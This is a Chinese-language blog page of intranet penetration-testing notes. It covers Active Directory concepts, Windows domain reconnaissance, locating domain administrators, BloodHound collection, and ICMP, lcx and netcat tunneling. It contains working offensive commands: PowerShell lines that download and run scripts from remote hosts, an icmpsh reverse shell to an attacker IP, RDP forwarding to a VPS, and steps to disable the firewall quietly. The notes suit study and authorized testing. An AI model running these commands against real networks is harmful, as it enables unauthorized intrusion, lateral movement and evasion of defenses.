apsry

去留无意,宠辱不惊

0%

内网笔记

内网笔记

内网基础知识

名词解释

  • 内网:内网也指**局域网(Local Area Network,LAN)是指在某一区域内由多台计算机互联成的计算机组。一般是方圆几千米以内。局域网可以实现文件管理.应用软件共享.打印机共享.工作组内的历程安排.电子邮件和传真通信服务等功能。

  • 工作组:在大型单位中,如果计算机不分组的话找起计算机来非常不方便。因此有了“工作组”这个概念,将不同的电脑一般按功能(或部门)分别列入不同的工作组中。(用户可以随意加入/退出工作组,工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。)

  • 域:是一个有安全边界的计算机集合(安全边界意思是在两个域中,一个域中的用户无法访问另一个域中的资源),相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。

  • 域控制器:(Domain Controller,简写为DC)是一个域中的一台类似管理服务器的计算机,相当于一个单位的门卫一样,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想互相访问首先都是经过它的审核。

  • 单域:即一个域。一般在一个域内要建立至少两个域服务器,一个作为DC,一个是备份DC。如果没有第二个备份DC,那么一旦DC瘫痪了,则域内的其他用户就不能登陆该域了,因为活动目录的数据库(包括用户的帐号信息)是存储在DC中的。

  • 父域:出于管理及其他一些需求,需要在网络中划分多个域,第一个域称为父域,各分部的域称为该域的子域。比如大型公司的分公司在不同的地理位置,就需要建立多个域。且出于安全策略的考虑,因为每个域都有自己独有的安全策略。比如一个公司的财务部门希望能使用特定的安全策略(包括帐号密码策略等),那么可以将财务部门做成一个子域来单独管理。

  • 域树:指若干个域通过建立信任关系组成的集合。一个域管理员只能管理本域的内部,不能访问或者管理其他的域,二个域之间相互访问则需要建立信任关系(Trust Relation)。信任关系是连接在域与域之间的桥梁。域树内的父域与子域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。

  • 域林:指若干个域树通过建立信任关系组成的集合。可以通过域树之间建立的信任关系来管理和使用整个森林中的资源,从而又保持了原有域自身原有的特性。

  • DNS域名服务器:DNS域名服务器是进行域名(domain name)和与之相对应的IP地址 (IP address)转换的服务器。•在域树的介绍中,可以看到域树中的域的名字和DNS域的名字非常相似,实际上域的名字就是DNS域的名字,因为域中的计算机使用DNS来定位域控制器和服务器以及其他计算机.网络服务等。一般情况下,我们在内网渗透时就通过寻找DNS服务器来定位域控制器,因为通常DNS服务器和域控制器会处在同一台机器上。

  • 活动目录:AD是域环境中提供目录服务的组件。如果将企业的内网看成是一本字典,那么内网里的资源就是字典的内容,活动目录就相当于字典的索引。即活动目录存储的是网络中所有资源的快捷方式,用户通过寻找快捷方式而定位资源。

  • 目录:目录就是存储有关网络对象(如用户.组.计算机.共享资源.打印机和联系人等)的信息。目录服务是帮助用户快速准确的从目录中查找到他所需要的信息的服务。

  • 活动目录的主要功能:

    • 账号集中管理。
    • 软件集中管理,统一推送软件,统一安装网络打印机等。
    • 环境集中管理。如统一桌面等。
    • 增强安全性。统一安装杀软.集中化管理用户权限。
    • 更可靠,更少的宕机时间。如:利用AD控制用户访问权限,利用群集.负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。
    • 活动目录为Microsoft统一管理的基础平台,其它isa,exchange,sms等服务都依赖于这个基础平台。
  • AD和DC的区别:AD库存放了网络中的众多对象的信息。将AD数据库安装在一台计算机上,这时这台计算机即为DC。

  • 安全域划分:目的是将一组安全等级相同的计算机划入同一个网段内,这一网段内的计算机拥有相同的网络边界,在网络边界上采用防火墙部署来实现对其他安全域的NACL(网络访问控制策略)

  • DMZ:DMZ称为”隔离区“,也称”非军事化区“。为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。DMZ区通常位内部网络和外部网络之间的小网络区域内,DMZ区中通常部署一些公开的服务,如企业Web.FTP服务器等。

  • DMZ的屏障功能:

    • 内网可以访问外网.DMZ区。
    • 外网不能访问内网。但是可以访问DMZ区。
    • DMZ不能访问内网.外网(有例外,如邮件服务。)
  • 域中计算机分类

    • 域控DC(必须存在)

    • 成员服务器:安装了服务且加入到域中,没有安装AD的计算机。

    • 客户机:普通的计算机。通过被授予权限可以访问资源。

    • 独立服务器:不加入域,不安装AD。不能享受域提供的共享资源。可以创建工作组。

      注:域中的各个服务器的角色也可以改变的。

  • 域内权限解读

    • :是用户帐号的集合。通过向一组用户分配权限从而不必向每个用户分配权限,管理员在日常工作中不必要去为单个用户帐号设置自己独特的访问权限,而是将用户帐号加入到相对应的安全组中。管理员通过给相对的安全组访问权限就可以了,这样所有加入到安全组的用户帐号都将有同样的权限。使用安全组而不是单个的用户帐号可以方便,简化网络的维护和管理工作。

    • 域本地组多域用户访问单域资源(访问同一个域)。可以从任何域添加用户账户.通用组和全局组,只能在其所在域内指派权限。域本地组不能嵌套于其他组中。它主要是用于授予位于本域资源的访问权限

    • 全局组单域用户访问多域资源(必须是同一个域里面的用户)。只能在创建该全局组的域上进行添加用户和全局组,可以在域林中的任何域中指派权限,全局组可以嵌套在其他组中。

    • 通用组:通用组成员来自域林中任何域中的用户账户.全局组和其他的通用组,可以在该域林中的任何域中指派权限,可以嵌套于其他域组中。非常适于域林中的跨域访问。

      注:这样简单记忆:

      • 域本地组:来自全林用于本域
      • 全局组:来自本域作用于全林
      • 通用组:来自全林用于全林
  • A-G-DL-P策略:A-G-DL-P策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。按照AGDLP的原则对用户进行组织和管理起来更容易。

    • A(account)表示用户账户
    • G(Global group)表示全局组
    • U(universal group)表示通用组
    • DL(Domain local group)表示域本地组。
    • P(permission 许可)表示资源权限。
  • 本地域组的权限

    • Administrators(管理员组)
    • Remote Desktop Users(远程登录组)
    • Print Operators(打印机操作员组)
    • Account Operators(帐号操作员组)
    • Server Operaters(服务器操作员组)
    • Backup Operators(备份操作员组)
  • 全局组.通用组的权限

    • Domain Admins(域管理员组)
    • Enterprise Admins(企业系统管理员组)
    • Schema Admins(架构管理员组)
    • Domain Users(域用户组)

内网信息收集

三个点

机器角色判断

机器所处环境网络拓扑

当前机器所处区域

一:工作组信息收集

本机信息收集有通常有以下几种信息需要收集:

1. 查询网络配置,版本信息

  • ipconfig /all

    可以判断是否处于内网.内网IP段.网关.DNS服务器地址.

    判断有没有域

  • systeminfo

    判断版本

    image-20220309204645282

  • wmic service list brief

查询本机服务信息

image-20220309204949146

2. 查询用户列表

  • net user 查看本机用户列表
    • 可以看大型企业的用户名命名规则
  • net localgroup administrators 查看本机管理员
    • 通常含有域用户,用户批量管理主机的
  • query user || qwinsta 查看当前在线用户

3. 查看进程列表

  • tasklist /v

    • 可看装了什么软件,域内可能装同样的软件
    • 可看进程是用什么权限运行的。若进程是以域管理员权限运行的,可通过令牌的窃取注入进程里,获取域管理员权限。
  • wmic process list brief

    image-20220309205223810

4. 查看操作系统及安装软件版本信息

  • systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本” (英文版的话需要写成Name与Version)
  • wmic product get name,version
    • 查看软件安装及版本.路径等。可看杀软的版本,然后可找漏洞。
  • powershell “Get-WmiObject -class Win32_Product |Select-Object -Property name,version”
    • 查看软件安装及版本.路径等。可看杀软的版本,然后可找漏洞。

5. 查询端口列表

  • netstat -ano
    • 可以通过信息判断服务器,如开放53端口(DNS服务器).8530(WSUS更新).或代理服务器。

6. 查看补丁列表

  • systeminfo
    • 查看各种系统信息.打补丁信息,还可以判断有没有域
  • wmic qfe get Caption,Description,HotFixID,InstalledOn
    • 可看打补丁的详细信息

7. 查询本机共享

  • net share
    • 域内的共享很多时候是相同的。
  • wmic share get name,path,status

8. 关于防火墙配置

  • netsh firewall show config 查看防火墙配置详细信息
  • netsh firewall set opmode mode = enable 启动防火墙
  • netsh advfirewall set allprofiles state off 关闭防火墙
    • 直接关闭防火墙动静有点大,可以添加规则,达到目的后再删除规则。

9. 查询并开启远程连接服务。

  • Reg query “hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp” /v portnumber 查看远程连接端口
  • Windows Server 2008和Windows Server 2012开启3389方法
    • wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !=””) call setallowtsconnections 1
    • wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName=’RDP-Tcp’) call setuserauthenticationrequired 1
    • reg add “HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

10. 查询当前权限

  • whoami
    • 本地普通用户不能查询域内信息
    • 本地管理员可以查询域内信息
    • 域内用户可以查询域内信息
  • whoami /all
    • 获取域SID。SID:域内作为身份认证的唯一标识。后面域渗透中令牌窃取即窃取SID
  • net user XXX /domain 查询指定账户的详细信息

11.查询路由表

1
2
3
arp -a

route print

image-20220309222012817

12.其它查询

1
2
3
4
5
查询计划任务
schtasks /query /fo LIST /v

查询主机开机时间
net statistics workstation

13.一些工具使用

empire

https://github.com/EmpireProject/Empire

Empire中的user_hunter模块用于查找域管理员登陆的机器,使用 powershell/situational_awareness/network/powerview/user_hunter 模块,可查看哪个用户登陆哪台主机。

二:域内信息收集

1. 判断是否有域

  • ipconfig /all
  • systeminfo
  • net config workstation
  • net time /domain
    • 存在域,当前用户不是域用户
    • 存在域,当前用户是域用户
    • 提示”找不到域xx的域控制器”:不存在域

2. 域内存活主机的探测

白天探测,深夜探测,找出规律。

  • 利用netbios快速探测内网

    • 工具:Nbtscan
    • 使用方法:nbtscan.exe IP
  • 利用ICMP协议快速探测内网

    • ping命令。
      • for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=” 其中“192.168.1”为网段。
    • VBS脚本
  • 利用arp扫描完整探测内网

    • 工具:arp-scan,命令:arp.exe -t IP

    • Empire中的arpscan模块

    • Invoke-ARPScan.ps1

    • 命令:

      A.远程下载运行

      powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘ http://192.168.1.1/Invoke-ARPScan.ps1‘);Invoke-ARPScan -CIDR 192.168.1.0/20” >> c:\windows\temp\log.txt

      B.本地运行

      powershell.exe -exec bypass -Command “& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}” >> C:\windows\temp\log.txt

      C. 无条件运行

      powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1‘);Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports ‘445,1433,8080,3389,80’ -oA c:\windows\temp\res.txt”

  • 利用常规tcp/udp端口扫描探测内网

    • 工具:scanline
    • 命令:sl -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\sl_res.txt -p 192.168.1.1-254 /b
  • 域内端口扫描

    注意扫描是否会触发IDS,windows推荐使用powershell.wmic的脚本进行扫描。降低扫描的频率。

    • 端口的banner服务(欢迎语句):在banner信息中可以得到软件开发商,软件名称.版本.服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。
    • 端口上运行的服务
    • 常见应用的默认端口
    • 常用nmap.masscan(动静比较大,已授权情况下)
    • telnet命令
    • s扫描器(速度快)
      • 命令举例:S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
    • metasploit可调用nmap及自身所带的脚本
      • 如search portscan,然后Use auxiliary/scanner/portscan/tcp
    • Invoke-portscan.ps1(在powersploit下的脚本)
    • 常见端口机器攻击方向

image-20220311164539593

image-20220311164604888

3. 域内基础信息收集

某些命令需要域用户或主机system权限才能运行。

  • net view /domain 查询域
  • net view /domain:XXX 查询域内电脑,有时可以根据电脑名字判断目标主机为什么类型的主机。
  • net group /domain 查询域里的用户组
  • net group “domain computers” /domain 查询域成员的计算机列表
  • net accounts /domain 查询域里密码的策略
  • nltest /domain_trusts 查询域信任信息

4. 查询域控

  • nltest /DCLIST:XXX xxx为域的名称
  • Nslookup -type=SRV *ldap.*tcp
  • net time /domain
  • net group “Domain Controllers” /domain 查询所有域控
  • netdom query pdc

5. 查询域内用户与管理员

  • net user /domain 查询域内所有用户
  • wmic useraccount get /all 获取域内用户的详细信息
  • dsquery user
  • net localgroup administrators /domain 查询域内置的本地管理员组的用户
  • net group “domain admins” /domain 查询域管理员用户组
  • net group “Enterprise Admins” /domain 查询域管理员用户组

三:定位域管理员

定位域内管理员的方法:一是通过日志,二是会话。日志指的的本地机器的管理员日志,可以使用脚本或wevtutil导出查看。会话是域内每个机器的登陆会话,可以匿名查询,无需权限,可以使用netsess.exe或powerview等工具查询。一个主机a加入到域XX中,那么域XX的管理员组会默认加入到主机a的本地管理员组中。

1. 定位域管理员的工具

  • psloggedon.exe 查找管理员登录信息
    • psloggedon [-] [-l] [-x] [\computername|username] -l 表示本地登录的
  • PVEFindADUser.exe (需要管理员权限)
    • -current
  • netsess.exe 查找主机会话
    • -h
  • PowerView脚本-Invoke-UserHunter
    • powershell.exe -exec bypass -Command “& {Import-Module C:\PowerView.ps1;Invoke-UserHunter}” 隐藏使用,调用C:\PowerView.ps1脚本

四:查找域管理进程

1. 本机检查

  • 获取域管理员列表。命令:net group “Domain Admins” /domain
  • 查看本机所有进程及进程用户。命令:tasklist /v
  • 寻找是否有进程所有者为域管理员的进程。

2. 查询域控制器的域用户会话(脚本)

  • 收集所有域控制器的列表。 net group “Domain Controllers” /domain
  • 收集域管理员列表。 net group “Domain Admins” /domain
  • 使用Netsess.exe查询每个域控制器,收集所有活动域会话的列表。 Netsess.exe –h
  • 将域管理员列表与活动会话列表交叉引用,以确定哪些IP地址具有活动域令牌。

3. 扫描远程系统上运行的任务

这个方法运行的前提:域管理员账号开启了共享

  • 收集域管理员的列表 net group “Domain Admins” /domain
  • 运行脚本。将目标域系统添加到ips.txt文件中,将收集到的域管理员列表添加到names.txt文件中。

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

4. 扫描远程系统上NetBIOS信息

  • 收集域管理员列表。
  • 运行脚本。将目标域系统列表添加到ips.txt文件中,将收集到的域管理员列表添加到admins.txt文件中。并置于同一目录下。

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

  • 也可以使用nbtscan工具。先收集管理员列表。然后将目标域系统列表添加到ips.txt文件中,将收集到的域管理员列表添加到admins.txt文件中。并置于同一目录下。

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

五:Powershell收集域信息

2.0内置于win server 2008与win 7中

3.0内置于win server 2012与win 8中

4.0内置于win server 2012 R2与win 8.1中

5.0内置于win server 2016 与win 10中

1. Powershell四种权限

  • Restricted 默认设置,不允许执行任何脚本。
  • Allsigned 只能运行经过证书验证的脚本。
  • Unrestricted 权限最高,可以执行任意脚本。
  • RemoteSigned 对本地脚本不进行限制,对来自网络的脚本必须验证其签名。

操作:

  • 输入Get-ExecutionPolicy 可查看当前执行权限
  • Get-ExecutionPolicy + 权限 更改执行权限。

2. Powershell收集域信息

Powershell中常用命令:

image-20220311165653490

六:域渗透分析工具BloodHound的使用

1.介绍

BloodHound 使用可视化图形显示域环境中的关系,攻击者可以使用 BloodHound 识别高度复杂的攻击路径,防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入域环境中的权限关系。

BloodHound 通过在域内导出相关信息,在将数据收集后,将其导入Neo4j 数据库中,进行展示分析。因此在安装 BloodHound 时,需要安装 Neo4j 数据库。

2.安装

因为 Neo4j 数据库需要 Java 支持,因此安装 BloodHound 需要先安装 Java,这里以 Windows 系统下的安装为例。

Java

JDK 需要下载最新版本,不然 Neo4j 运行可能会报错,JDK 下载地址:https://www.oracle.com/java/technologies/javase-downloads.html,下载之后,直接安装即可。

Neo4j

Neo4j 直接下载最新版本,下载地址:https://neo4j.com/download-center/#community

下载最新版本之后解压下载文件,打开 bin 目录,执行命令neo4j.bat console,之后打开浏览器访问 http://localhost:7474 登陆后台,输入以下信息连接到数据库说明安装就完成了。

1
2
3
URL:neo4j://localhost:7687
用户名(默认):neo4j
密码(默认):neo4j

BloodHound

BloodHound 项目地址:https://github.com/BloodHoundAD/BloodHound,下载后解压打开 BloodHound.exe,输入 Neo4j 数据库的账号密码即可完成安装。

3.使用

安装完成 BloodHound 后,需要进行数据的采集与导入,数据的采集可以使用 ps1 脚本或者使用 exe 程序收集,工具下载地址:https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

这里使用 SharpHound.exe 进行数据的采集,将 SharpHound.exe 拷贝到目标上,执行 SharpHound.exe -c all 进行数据采集。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Users\daniel10>SharpHound.exe -c all
---------------------------------------------
Initializing SharpHound at 22:36 on 2021/2/25
---------------------------------------------
Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
[+] Creating Schema map for domain TEAMSSIX.COM using path CN=Schema,CN=Configuration,DC=teamssix,DC=com
[+] Cache File Found! Loaded 1332 Objects in cache
[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 24 MB RAM
Status: 673 objects finished (+673 134.6)/s -- Using 43 MB RAM
Enumeration finished in 00:00:05.3136324
Compressing data to .\20210225223622_BloodHound.zip
You can upload this file directly to the UI
SharpHound Enumeration Completed at 22:36 on 2021/2/25! Happy Graphing!

如果使用 ps1 脚本收集,命令为:

1
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

采集到的数据会以 zip 压缩包的格式保存,将其拷贝到 BloodHound 所在主机上,在 BloodHound 右侧图标里点击 Upload Data,之后上传刚才生成的压缩包就可以导入数据了。

或者直接将 zip 压缩包拖拽到 BloodHound 里也可以导入数据。

在 BloodHound 右上角有三个板块:

1.Database Info(数据库信息),可以查看当前数据库中的域用户.域计算机等统计信息。

2.Node Indo(节点信息),单击某个节点时,在这里可以看到对应节点的相关信息。

3.Analysis(分析查询),在 BloodHound 中预设了一些查询条件,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1.查询所有域管理员
2.寻找到域管理员的最短路径
3.查找具有DCSync权限的主体
4.具有外部域组成员资格的用户
5.具有外部域名组成员资格的组
6.映射域信任
7.到无约束委托系统的最短路径
8.到达Kerberoastable用户的最短路径
9.从Kerberoastable用户到域管理员的最短路径
10.拥有的主体的最短路径
11.从拥有的主体到域管理员的最短路径
12.到高价值目标的最短路径
13.查找域用户是本地管理员的计算机
14.查找域用户可以读取密码的计算机
15.从域用户到高价值目标的最短路径
16.找到从域用户到高价值目标的所有路径
17.找到域用户可以RDP的工作站
18.找到域用户可以RDP的服务器
19.查找域用户组的危险权限
20.找到高价值群体中能够支持kerberoable的成员
21.列出所有kerberoable用户
22.查找具有大多数特权的Kerberoastable用户
23.查找到非域控制器的域管理登录
24.查找不支持操作系统的计算机
25.查找AS-REP Roastable用户(DontReqPreAuth)

比如这里查询到域管理员的最短路径

imgimg

路径由粗到细表示xx对xx有权限或关系

总的来说感觉 BloodHound 还是挺有意思的,可以很直观的看到域内主机间的关系。不过毕竟是辅助工具,还是需要不断提升自己的实力.经验才能更好的去分析这样的一个结果才是。

隐藏通信隧道技术

一.隐藏通信隧道基础知识

1. 隐藏通信隧道概述

什么是隧道?这里的隧道就是一种绕过端口屏蔽的通信方式。隐藏通信隧道技术常用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。

常用的隧道技术:

  • 网络层:IPv6隧道.ICMP隧道.GRE隧道
  • 传输层:TCP隧道.UDP隧道.常规的端口转发。
  • 应用层:SSH隧道.DNS隧道.HTTP隧道.HTTPS隧道

2. 判断内网的连通性

判断内网的连通性是指判断主机能否上外网等。常见的允许流量流出的端口有80.8080.443.53.110.123等。

2.1 ICMP协议

  • ping:命令:ping <IP地址>

2.2 TCP协议

  • netcat:“瑞士军刀”,简称“nc”。通过使用TCP/UDP的网络连接来读写数据。使用命令:nc -zv <IP 端口号>

2.3 HTTP协议

  • curl:curl是一个利用URL规则在命令行下工作的综合文件传输工具。
  • 使用命令:curl < IP:端口号 >

2.4 DNS协议

  • nslookup(windows)
  • dig(linux)

2.5 代理服务器

有时候企业办公网利用代理服务器进行上网,判断方法:

  • 查看网络连接
  • 查看主机名是否有”proxy“的主机
  • 查看IE的代理

二.网络层隧道技术

1. IPv6隧道

IPv6隧道技术是指通过IPv4隧道传送的IPv6数据报文的技术。为了使在IPv4网络中传递IPv6报文,可以将IPv4作为载体,将IPv6报文整体封装在IPv4数据报文中。

  • 攻击方式:攻击者通过恶意软件来配置允许进行IPv6通信的设备。支持IPv6的隧道工具:socat.6tunnel.nt6tunnel等。
  • 防御措施:了解IPv6漏洞,综合其他协议.设备来过滤IPv6通信。

2. ICMP隧道

攻击者可以将TCP/UDP数据封装在ICMP的ping包中,从而穿越防火墙。常见的icmp隧道工具:icmpsh.PingTunnel.icmptunnel.powershell icmp等

  • icmpsh

    • git clone https://github.com/inquisb/icmpsh.git 下载icmp
    • apt-get install python-impacket 安装python-impacket库
    • sysctl -w net.ipv4.icmp_echo_ignore_all=1 关闭系统ICMP应答(恢复则设置为0)
    • 输入”./run.sh”并运行后输入目标的IP地址。
    • icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128 目标主机上运行此条命令,可在攻击机192.168.1.7上看到反弹的shell结果。
  • PingTunnel(可以为隧道加密)

    • 在VPS与Web服务器上安装编译

      • tar xf PingTunnel-0.72.tar.gz
      • cd PingTunnel
      • make && make install
    • 遇到报错–解决

    • 运行PingTunnel

      • 服务器(IP:192.168.1.4):ptunnel -x shuteer

      • VPS:ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer

      • 参数说明:

        -x 指定 icmp 隧道连接验证密码

        -lp 指定要监听的本地 tcp 端口

        -da 指定要转发的机器的 ip 地址

        -dp 指定要转发的机器的 tcp 端口

        -p 指定icmp隧道另一端机器的 ip 地址

1) 介绍

在内网中,如果攻击者使用 HTTP.DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道,ICMP 协议最常见的场景就是使用 ping 命令,而且一般防火墙都不会禁止 ping 数据包。

因此我们便可以将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而绕过防火墙的限制。

2) 建立 ICMP 隧道工具

用于建立 ICMP 隧道的工具常见有:ptunnel.icmpsh.icmptunnel 等

ptunnel

ptunnel 全称 PingTunnel,Kali 下自带该工具,Linux 下安装过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
yum -y install byacc
yum -y install flex bison

#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

ptunnel 常用命令介绍:

1
2
3
4
5
6
7
8
-p: 指定跳板服务器 IP 地址
-lp: 监听本地 TCP 端口
-da: 指定访问目标的内网 IP 地址
-dp: 指定访问目标的端口
-m: 设置隧道最大并发数
-v: 输入内容详细级别(-1到4,其中-1为无输出,4为全部输出)
-udp: 切换使用UDP代替ICMP,代理将监听端口53(必须是 root 权限)
-x: 设置隧道密码,防止滥用(客户端和代理端必须相同)

目前有这样的一个场景,当前已经拿下了一台外网 Web Linux 服务器,想通过它利用 ICMP 协议连接内网的一台已经开启远程桌面的 Windows ,网络结构简化如下。

1
2
3
4
5
6
7
8
Kali 攻击机       172.16.214.6 (外网)
|
|
Linux Web 跳板机 172.16.214.5 (外网)
| 192.168.7.5 (内网)
|
|
Win RDP 目标机 192.168.7.110 (内网)

在 Kali 攻击机上执行以下命令

1
2
3
4
5
6
ptunnel -p 172.16.214.5 -lp 1080 -da 192.168.7.110 -dp 3389 -x teamssix
-p 指定跳板机外网IP
-lp 指定本机的监听端口
-da 指定目标机的内网IP
-dp 指定目标机的端口
-x 设置隧道密码

在 Linux Web 跳板机上执行以下命令

1
ptunnel -x teamssix

之后访问 Kali 攻击机 172.16.214.6 的 1080 端口就会连接到 Win RDP 目标机 192.168.7.110 的 3389 端口了,不过实测发现这种方法有些不稳定。

imgimg

icmpsh

icmpsh 使用很简单,直接在 github 上下载,运行时不需要管理员权限,但是在使用时需要关闭本地系统的 ICMP 应答,不然 shell 的运行会不稳定。

1
2
3
git clone https://github.com/inquisb/icmpsh.git #下载工具
apt-get install python-impacket # 安装依赖,或者 pip2 install impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地ICMP应答

icmpsh 常用命令介绍:

1
2
3
4
-t host            发送ping请求的主机ip地址,即攻击机的IP [该命令必须存在]
-d milliseconds 请求时间间隔(毫秒)
-o milliseconds 响应超时时间(毫秒)
-s bytes 最大数据缓冲区大小(字节)

目前有这样的一个场景,攻击机能通过 ICMP 协议访问到目标主机,但是目标上有防火墙,拒绝了敏感端口比如 22.3389 端口的访问,这个时候可以使用 icmpsh 利用 ICMP 协议建立反向 shell

1
2
攻击机 IP:172.16.214.6
目标机 IP:172.16.214.2

在攻击机上运行:

1
python2 icmpsh_m.py 172.16.214.6 172.16.214.2

在目标机上运行

1
./icmpsh.exe -t 172.16.214.6

此时在攻击机上可以看到通过 icmp 协议建立的 shell

imgimg

icmptunnel

icmptunnel 的优势在于可以穿过状态防火墙或 NAT,同样在 github 上进行下载,值得注意的是该工具只有 Linux 版。

1
2
3
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

目前有这样的一个场景,攻击者为 Linux,但由于目标存在状态防火墙或者使用了 NAT 导致无法获得 shell,此时可以通过 icmptunnel 绕过限制。

1
2
攻击机 IP:172.16.214.6
目标机 IP:172.16.214.5

在攻击机上运行:

1
2
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all        # 禁用 ICMP echo 回复,防止内核自己对ping包进行响应
./icmptunnel -s # 开启服务端模式

在攻击机上新开启一个终端运行:

1
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0  # 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.1)

在目标机上运行:

1
2
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 172.16.214.6

在目标机上新开启一个终端运行:

1
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0  # 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.2)

至此,已经通过 ICMP 建立了一个点对点隧道。

在攻击机上,尝试通过 ssh 进行连接,可以看到通过刚才建立的隧道成功连接到目标机。

1
ssh root@10.0.0.2

imgimg

3. 防御ICMP隧道攻击的方法

  • 检测同一来源的ICMP数据包的流量,一个正常的icmp命令每秒最多发送2个数据包。
  • 注意那些payload大于64bit的icmp数据包。
  • 寻找响应数据包中的payload与请求数据包中的payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签。例如:icmptunnel会在所有的icmp payload前面添加”TUNL“标记来标识隧道。

三.传输层隧道技术

包括tcp,udp隧道,常规端口转发

1. lcx端口转发

​ lcx是一个基于Socket套接字实现的端口转化工具,Windows版为lcx.exe,Linux版为portmap。Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户连接;另一端为客户端,通过传入服务端的IP地址与端口,才能主动与服务器连接。

  • 内网端口转发

举例:将目标主机的3389端口的所有数据转发到公网VPS的4444端口上。在目标主机上执行命令,命令如下:

1
lcx.exe -slave <公网IP地址> 4444 127.0.0.1 3389

将VPS上的4444端口上监听的所有数据转发到5555端口上,命令如下:

1
lcx.exe -listen 4444 5555

然后在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。

  • 本地端口转发

如果目标服务器由于防火墙的限制,部分端口如3389的数据无法通过防火墙,这时就可以将目标服务器相应端口的数据透传到防火墙允许的端口如53。在目标主机上执行如下命令即可。

1
lcx -tran 53 <目标主机IP地址> 3389

2. netcat

netcat简称nc,作为安全界的瑞士军刀,功能非常强大。

2.1 安装

安装的具体步骤见www.baidu.com

2.2 简单使用参数

-d 后台模式

-e 程序重定向

-g <网关> 设置路由器跃程通信网关,最多可设置8个;

-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;

-h 在线帮助;

-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;

-l 使用监听模式,管控传入的资料;

-n 直接使用IP地址,而不通过域名服务器;

-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;

-p <通信端口> 设置本地主机使用的通信端口;

-r 随机指定本地与远端主机的通信端口;

-s <来源位址> 设置本地主机送出数据包的IP地址;

-u 使用UDP传输协议;

-v 详细输出;

-w <超时秒数> 设置等待连线的时间;

-z 将输入输出关掉,只在扫描通信端口时使用。

以上为netcat的参数信息,需要实现具体功能时到上网查具体的命令即可。

常用的具体功能有:

  • Banner抓取
  • 连接远程主机
